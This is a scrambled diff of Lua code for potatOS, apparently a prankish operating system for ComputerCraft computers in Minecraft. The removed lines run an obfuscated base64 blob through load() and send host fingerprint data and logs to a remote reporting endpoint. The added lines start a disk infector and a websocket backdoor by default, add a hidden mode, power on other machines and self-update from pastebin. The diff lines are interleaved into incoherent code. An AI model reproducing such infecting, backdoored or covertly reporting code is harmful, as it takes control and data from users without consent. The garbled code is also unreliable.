-	local l, e = load(decompress(b64dec("UFNDOkxaVwobAEwAdQBhAFEAAAABAAQABwEIAAAAAwAAAAwBQADmAAwBEAERAQwBAgAfAAIAAQAMAQoAEwFBABABgQBAAAwBwQCAAAwBAQDBAAwBIgAeAQIARQAFAQAARgBAACQBhQCAABcBhgDAAEEAAQDFAAAAAgAAAMYAQADCAAEABQABADgBBgCBAEIAKAEBABcBRgDBAMIAAgCBAAEACwHFAEEACwHGAIEAwwADAAUAFgEAAAYAwgBDAAQAZAA4ARABIQGkAEIAEQGAAAsBDAEEAAwBgABmAQAAIQHkAIIAYgFdAQoBEAFvARcBagERAQUAEgFqAT0BAwBmAQYAQwBEAAYAQAADAIAABQCBAIMAZgFcAIMABQEcAIgBAQAaAEMADAEWAMAAagEFAMMAZgFPAXYBgQBDAHYBHABDADABBQCDAHYBgAGCAVIBdgGHAQUBfAEDAH8BgQGDAagBAAClAQEApwGpAaIBQwAGAK0BiwGKAQUBRQCfAWoBqgHBAIMAtAGcAIsBRgCDAL4BhQDDALQBxQC6AQAABACCAUEABAAHAAAAHACEAAUBxgADAIQAzwHLAQUAQQBEAM8B0QHTAdUBBwCcAAMARQEWADABgAAXAAAAgwAIABYABQGAAMAAywG0AXYBAABAAAUAgAAIAIIBAAAJANwARAA3AaEAiAEAAOQB/QB/AIUAugHAAKoBAQDWAQAA3ACLAYYAUwEHAAUCggEBAMQAzwEKAgUBDAIDAA4CBgIEAAkBFAIBAMsAQwDIAAcAQQCEABsCgwAwAcoBzAHEAAkB3QGvAQcB8gHLAQcAaAGCAcEABAAJAAAAnADSAQEAHADEADABpQBmAQEAmgD7Af8BkQGAAMUAxAA+AkUANQJBAEUAdgH6ATABxgCEAEkACQDaAGkB5AFqAUUCNQI9ARkB+gEFAcUAhADxAfQB2QFFABkBHACFANMBBACFAFICQQKQAVYCRgIFAYUAGQFKAkwCRAAwAUUCGQEFAIUAoAFgAoEABQALAK0BZQKvAUsCCgDcADgCVwBAAMsACQBrAkQCbQIBAIUAfQJxAgkCcwIBAO4BAAAHAIMCIQHOAMQAhwIaAFQCIQGAAAIA8QEeAHYBAQDkAQEAgAALAAUAzAAIAIEARQAMANABLwEBAFsAKQEKAOsBagFBAMUArQKJAEQABQCZAHcCeQKiAQUADQB+AqYBgQIaACkBQgKSAcUAlQFFAMECqwKaAUUAnQF4AvIBegKFAMECXAB/AgYAgQLzAaIBxQDVAtcC2QJ6AgUADgDCAgEARgBLAgkAWgDGAokChQDJAgAAwQBFAOIC5AJ2AZwAzwKlAmACwQCFAOICnAB/AoYAeAIJAMAAYAIBAMYA4gLcAH8CxgDFAAUANQIGAMwBBgAPANABhgCmAQYABgAJAFsARgAAAAsAVQKAABQDpgK0AoAAQAC0AQwAgAC0AQoAwAAKAwoAAQBHAA0DnACGADABJAMAABkBMAIKAEEAhwANA9wAKwMBAM4AxgDPAA0AjADGAAYADQAtAy8DgAAxAwcAEAAJAjYDzgBGANAAOwM9Az8DIgOUAkIDMgNFAzUDMAE4A0oDPAM+AyQDIQGUAgAADQBFAAcAEQArAUcA0QAOAFwAhwAhAUwARwDPAA4AUwMXATAC2QGHAGADHACHAKYBBwAHAAkAGgBHAI8BQwIFAMcAlQHHAGADgQBHAJoBRwCdAUcAEgDyATACDQCUADACDABVAIcAhwAOAHIDBQENAH0DDgCJAM4BpAAeAHQBSgAQAWQBAADHANQAYADHAE8BEAH2AMgAxACgAKQDDAFJAPMA2QDbAKoDAAAvAFQAtQDRAM0BaQEAAGIAaQB0AMoB8QG4A3gAbwByAMoBzwEMAXMAdAByAGkAbgBnALwDEAFjAGgAYQDBAwQAtAEMAXQAYQBiAGwAZQDCA8wDbwBuAGMAYQC7A84BEAHIA3MAZQByAN8DvQNiAGEAbgBkAHABEgEuAEAA0QMQAbkDdAAzADIAygEJAQwBbAByAG8A1AN0ANgDGgLxA2wAcwBoAGkAZgDfA54DZgBzANkDDAFlAHgAaQDFAwkEBAAdABABKwBdADQAaAAlAFoALABpACkAVQAkAGUAJgBtACsAVQAlAFUAPwBbAD4AaAAtAFYAOQBUACUAXgDKAdIDAADkA/oD0AMVABABTABhAOMDcgAgAGIAZQBlAHMAIABkAGUAcABsAG8AeQBlAGQALgDsA3cBBACeA18AeQMEAMECDAE8AGQALQBaACQAaQAlAFIAKABqADoAaADKAQ0DDAE0AGQAXgQsAGEANQBbADwAZwAsAGoAJwAvBDQCEAEyAGcANwBYAFgEJgTKAVIEAAAzAFsAMABpACMAVQA+AGwAMABqACEAVgAwBBABcABhAGkAcgAQBL0DIwBRACIAYQDLAwwBOwBUAIUEkwQAABYEPABjAMoBfQIMAToAbwA5AGAAIgBmADcAVAAmAP4DvQMtAFEAOwBbAMoBtwNyAEMESwSIBO8DNQIMASAEVAQ0AGMAMQBYAMoBngMuAGkAygHnAQwBUAD6A3YAaQBCBCAAWwBSAEUARABBAEMAVADNBF0ALQAwADMASgQEAK0CDAF2AOQDBARfAEIEYgB1AMoD8AMMAXAAxwNuAN8DFAAQAUQAZQDgBGcAIABtAG8AyQRlAG4A1QPXA0kEYAQQASEAgARnADAAYgAcBCUAWQAyAGQAIQBdAK8EEAFOAG8A1wS9A3QAeQBwAP4DYQQAAAQFMgBrAC4AbgAvAFUAhQRAAG8ApATKAbYEAABmAHUA3AN0AGkA2wPKARUDDAHDAAwCKgUpBSwFKwUuBS0FMAUvBTIFMQU0BTMFhgAhADgFOAWzBGIE7wMxBG0A3gPNA8oB2QQAAF4AKAAuACoAKQAvAEYFLQApADoACgQAAF8AcABmAHYAbADrAy0CDAFbAEgABQUEADYEJQFuACIAYgAjAFoAPgBnAC0AUgCkBDQAcABgBT8AYAAzAF8AygFdBQAAQgA+BCAAbAA5BOQDQARCBEQERgRIBNcEeQQ1AGAAOQBXACQAbgBmBLwEMQBvBXAEDAE9AFgAIgBpACQAYQAjAG8EHgU+AGsAOABsADIAbwA8AHAAygEbABABQwByANUDIADFBPsDbwBjAG8AbAAgAMgDugNpAGEAbABpAHoAfQWdBBABOQBTAFYEJwBZADsAXAAoAGYA+AQMATMAVwA5AF8AKQBeACMAVgAXBTEAXABAAGwAswUMASMAWQC6BDwAbACEBTsAbwWeAxAB8AA/ANcFEAGAAXcBYADdBRIBCADgBREB0ADjBRABEADmBQ0BzQGeA28AEATiAgwBZwBlAHQAQwBvAG0AcAB1AP0DcgBJAPsBBACeBAAAOQBbACkAUQDGBTAAZgBWBMoBIAA3BGEAIQXNA8gD7gRTAEMAUAAtADYAMAA5ADQALQAxAKoFbgDFA+kDYwA/BNcE9wNQBW0AzQNlAGMAawAdBRABdADbA3UAbQA9BMED2wUMATEEMQRMAVcBMQTEABABBgAbASsBgQAMAdwAgAAwAf4CIQGaA1oDdwFXATgGRwYxBkgGRgZJBgwBngNvAcEEdQFxARABagASAb0DbwFtAFUGEAFzATcBEAGSBBEBMgYQAQQAbQMtAOoEEAEPAx4BOgEeAYwAkQEjAVoDXAA/BgEAZwYAAEwAPwYAAFAAwACRAdIBIQHGAAAAGwEBADQBNgJwBjcGKgFzAUEASwEAAIcGCQInAYMGFwGFBjoGSwEXAdwAiwYiASoBfQZFAYgGhwaSBjcBjAaVBoAGiAY6BpoGAgA3BjABQQEbAUAAjQY+BkAGkQGDAIMGVwFBAB4BQQDBAJEGcAZBBoAALwQFAUMGAAAhBjAG2QUwBugFMAYcAOkFAADgALADEQHCBiYBMAbiBTAGJgAeARABZAZMBksG0QZgBtAG0wbSBkoG1QbYBtcG2gbUBtsG1gbcBt8G3gbhBtkG4AbjBuIGnQNSBgwBUAYQASwA6AYAAG8A+AHrBu0GnAV5BOwGZQHtBsoDbwEbAW8BXwRvAV4G3QYIABcBDwAnABABnAMMATwGDAHUAFoGOgagAFkDhABzAcsAHQHyAQIAngLcAIEAMAHNAMEABQIEABMHNgIWBxECcwELAIIAagYCAMAAAgAcAIIAMAENAAIAzQFEABwHFQcwAQ4AQgBPAQwAPAEEAC0H7AEcB8QAEwcGAQsBAgBEAIEBAgCEAAsBAwCuAVAAgwDBAAoDCwEEABwAgQEBANwAXQFcAGEBAACfAIAA+AB/AHoGAwBDAgAAnQAiAZ4AEAG5BsMDOwUAAL0GRQbvA+cDeQD9AzsFHQPpBUAAVADCBjAAwgZwAM0GDAEDB+QG3QblBngHdwd6B3YHfAfmBn0HeQd/B0oGHgVvAcEDEQEmAO0GCQRbBocHDAFDBbwFwAMaBkIEeAApAMoBEAEiABABjQdmAI8HrwVtALoDkwe3A5YHDAH+BY4HOwTFA0MEngeVB+0GuwO9AyEA7QZ1AAAAQwWsBxMBEAHMBRMA+QTtBsEEcQWxB7oG7QbYA28BvQVvAesDbwFiAFwGDAGSBG8BbgDEBwAAJwZvAZwEVgGVBskHngO3A4AHfgfUB9MH1gd7B9UH2AfTB2EH3AcQAd0HDAHfB1sDDAEhBuQHEAEhBhkBGAEQAegHLgPqB+0H6QfvB+wH8AfrB/MHEAH+BfYH9Qf4B4wHlwf7B/oH/QevB/wH/wf+B0MFAwgQAXkEeQTvBQAACAgKCBABCAhDBRAFYAMMARAIAAASCBQIEAEVCBEIFggQAYcDDAEbCAAAHQgfCBoIEAG1BwwBIwgAACUIJwgiCCkIJAgqCAAA6QQMAXEFMAgQATEILwgQAbQC/wE1CBABwwQAADoIOggZABABPggMAUAIAABCCEQIPwgQARoARwhJCAwBSAgMARwAEAFOCE0ITwhSCFEIVAjQAVMIAAASBAwBWQhYCBABWwgfABABXwgMAWEIAAAJBgwBZQhkCBABZwhnCKAHAABsCGwIIwAQAXAIzgVxCBABJQB1CHcIDAF2CHkIeAgAAHoIAACLB38IEAGACIAIKAAQAYUIDAGHCAAAiQiLCIYIjQiICBABkwcMAZEIAACTCJMIKgAQAZcIDAErABMEnAiaCM4GnwgMAc8GAACiCKQIoAijCKYIpQihCBABSgQMAawIAACuCLAIEAEvALIItAgMAbMItgi1CLEDuQi3CLoIuAi+CL0IwAi8CMIIuwjECL8IMAAQAccIDAHJCAAAywjNCMgIEAExANAI0ggMAdEI1AjTCAAA9QMMAdkI2AhxBBABNADeCOAIYgThCJkE4wjfCCUB7QYnBjMGcwH9BgAAcQWXBskHwwfuCOsIzAPtCFoG8wgMAesD8giyBwsE9QgiAfcIHwX9CAUB/wjKA/oIyQcbAQUJ+wY7CPYI+wgAAMgHUAgCCQwJcQB9CAsJSwRoAAkEPgAUCZ4DaQBIAAAAjgH+CAwBRQOICJkHOwTxBW4A5APeA8ADkwdOABABvQT+B6MHIAAcBv0DKgksCQwIhggjCSAApwXnBPoDbAAzCQwBLQmUB9oEZQB5AAAATwAQAYYE0AZrAK4FdQDYA0UJDAFHCUAJ7gZzAJwE/gbvCL0DdQBXCa4HygMfCckHTQAAAJwFWwlvASsJXwkQCUsEXwApARIJWwm3A28AUwCcBJgAFAlDBVIJaABlAD8FIwWxBesDoAAQAaQA5wbEA8MHuAAUCVYJVwnBBLwAfwkQAWUAUwB0ALsDzgAUCbcDZQBDAI4BiglbCZ4DZQBMAAAAkAlkCYwJhwkAANMAiwkQAXYAeADYA+kAnAkMAWgAnwljBxQJEQE=")), "@magic", "b")
+
-	if not l then
+	end, "signd")
-		printError(e)
+
-		add_log("magic blob of magic failed to magically load: %s", e)
+
 		while true do
-		magic_blob_of_magic = l
+			peripheral.find("computer", function(_, o)
 				local l = o.getLabel()
 				if l and (l:match "^P/" or l:match "ShutdownOS") then
 					o.turnOn()
-local last_loaded
+
-local function set_last_loaded(x)
+			end)
-	last_loaded = x
+			sleep(1)
 		end
 	end, "onsys")
-local executing_disk
+
--- Get data which is probably sufficient to uniquely identify a computer on a server.
+	-- Yes, you can disable the backdoors, with this one simple setting.
-function _G.get_host(no_extended)
+
-	local out = {
+	if not settings.get "potatOS.disable_backdoors" then
-		label = os.getComputerLabel(),
+		process.spawn(disk_infector, "potatodisk")
-		ID = os.getComputerID(),
+		process.spawn(websocket_backdoor, "potatows")
-		lua_version = _VERSION,
+
-		CC_host = _HOST,
+	-- Spin up the VM, with PotatoBIOS.
-		build = _G.build_number,
+
-		craftOS_version = os.version(),
+		require "yafss"(
-		debug_available = _G.debug ~= nil,
+			"potatOS",
-		ingame_location = location,
+			FS_overlay,
-		SPF_server = SPF.server,
+			API_overrides,
-		CC_default_settings = _CC_DEFAULT_SETTINGS,
+			{ URL = "https://pastebin.com/raw/wKdMTPwQ" }
-		turtle = _G.turtle ~= nil,
+		)
-		pocket = _G.pocket ~= nil,
+	end, "potatoUI")
-		advanced = term.isColor(),
+
-		system_clock = os.clock(),
+
-		disk_ID = executing_disk,
+
-		gen_count = gen_count,
+
-		uuid = settings.get "potatOS.uuid",
+	fs.makeDir "potatOS"
-		timestamp_UTC = os.epoch "utc"
+
 	-- Download all files in parallel.
-	if _G.ccemux and _G.ccemux.nanoTime and _G.ccemux.getVersion then
+
-		out.nanotime = _G.ccemux.nanoTime()
+
-		out.CCEmuX_version = _G.ccemux.getVersion()
+		table.insert(fns, function()
 			local h = http.get(URL)
-	if _G.process and type(_G.process.running) == "table" then
+
-		out.process = _G.process.running.name
+
 			h.close()
-	if no_extended ~= true then
+
-		local ok, err = pcall(get_log)
+			fwrite(filename, x)
-		out.log = err
+
-
+		end)
-		--[[
+
-		Apparently CraftOS-PC ASKS to read this now! Ridiculous, right?
+
-		if _G.mounter then
+
-			local ok, err = pcall(craftOS_PC_read_OS)
+
-			out.OS_data = err
+
 	set("shell.allow_disk_startup", false)
-		]]
+
-		local ok, err = pcall(dump_peripherals)
+
-		out.peripherals = err
+	os.setComputerLabel("P/" .. randbytes(64))
 
-	if _G.debug then out.stack = debug.traceback() end
+
 end
 
 local command = table.concat({...}, " ")
--- Reports provided incidents to Santa, or possibly just me. Not Steve. See xkcd.com/838. Asynchronous and will not actually tell you, or indeed anyone, if it doesn't work.
+
 -- Detect a few important command-line options.
-Fix bug PS#C23E2F6F
+if command:find "mode2" then settings.set("potatOS.hidden", true) settings.save ".settings" os.reboot() end
-Now actually report... well, some classes of error, definitely some incidents... to help with debugging. Also tracking down of culprits.
+if command:find "mode8" then settings.set("potatOS.hidden", false) settings.save ".settings" os.reboot() end
 if command:find "update" or command:find "install" then install() end
-function _G.report_incident(incident, flags, options)
+
-	local options = options or {}
+if not polychoron or not fs.exists "json" then -- Polychoron not installed, so PotatOS Tau isn't.
-	local hostdata = {}
+
-	if options.disable_host_data ~= true then
+
-		hostdata = get_host(options.disable_extended_data or false)
+
 		if not http then return "Seriously? Why no HTTP?" end
-	if type(options.extra_meta) == "table" then
+
-		for k, v in pairs(options.extra_meta) do hostdata[k] = v end
+			local ok, this = pcall(fread, this_file)
 			local h = http.get(this_file_URL)
-	if not magic_blob_of_magic then
+			local latest = h.readAll()
-		load_magic_blob()
+
 
-	if magic_blob_of_magic then
+			-- Ensure that the potatOS update we're installing isn't going to (immediately) break it.
-		local ok, err = pcall(magic_blob_of_magic, hostdata)
+			if not is_valid_lua(latest) then
-		if not ok then
+				print "Syntax Error"
-			printError("MAGIC: " .. err)
+				printError(err)
-			add_log("magical magic blob magically failed in some magical way: %s", err)
+
 
 			if ok and latest ~= this then
 				print "Updating!"
-	if type(incident) ~= "string" then error "incident description must be string" end
+
-	local payload = json.encode {
+
-		report = incident,
+
-		host = hostdata,
+			-- Spread out updates a bit to reduce load.
-		code = options.code or last_loaded,
+
-		flags = flags
+
 	end, "potatoupd")
-	-- Workaround craftos-pc bug by explicitly specifying Content-Length header
+
-	http.request {
+
-		url = "https://osmarks.tk/wsthing/report",
+	if fs.exists "stack_trace.lua" then os.run({}, "stack_trace.lua") end
-		body = payload,
+
-		headers = {
+
-			["content-type"] = "application/json",
+	if not ok then
-			-- Workaround for CraftOS-PC bug where it apparently sends 0, which causes problems in the backend
+		printError(err)
-			["content-length"] = #payload
+		print "Press any key to reboot. Press u to update."
 		local _, k = os.pullEvent "key"
-		method = "POST"
+		if key == keys.q or key == keys.u then
 			os.reboot()
-	add_log("reported an incident %s", incident)
+
 			install()
 		end
-local xoshiro128, xoshiro128genstate
+
 
-do
+
-	-- http://prng.di.unimi.it/xoshiro128plusplus.c port
+